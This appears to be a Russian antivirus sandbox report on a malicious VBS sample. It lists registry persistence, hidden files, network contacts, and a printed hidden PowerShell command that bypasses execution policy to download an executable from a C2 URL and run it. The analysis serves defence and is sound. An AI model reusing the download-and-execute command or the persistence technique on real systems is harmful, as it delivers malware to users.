Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows] 'Load' = 'C:\Users\Public\config.vbs'
Вредоносные функции
Создает и запускает на исполнение (эксплоит)
- '<SYSTEM32>\wscript.exe' C:\Users\Public\config.vbs
Загружает и запускает на исполнение
- http://poc.howielab.com/c2/agent/20160324094627 как scannerdriver.exe
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\microsoft\windows\privacie\index.dat
- %LOCALAPPDATA%\microsoft\windows\history\history.ie5\mshist012023122220231223\index.dat
- C:\users\public\config.txt
Присваивает атрибут 'скрытый' для следующих файлов
- C:\users\public\config.vbs
Перемещает следующие файлы
- C:\users\public\config.txt в C:\users\public\config.vbs
Сетевая активность
Подключается к
- 'pk#.goog':80
TCP
Запросы HTTP GET
- http://pk#.goog/gsr1/gsr1.crt
UDP
- DNS ASK pk#.goog
- DNS ASK po#.##wielab.com
Другое
Ищет следующие окна
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep Bypass -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadFile('http://poc.howielab.com/C2/Agent/20160324094627','ScannerDriver.exe'));Start-Process 'ScannerDriver....' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\internet explorer\iexplore.exe' -Embedding
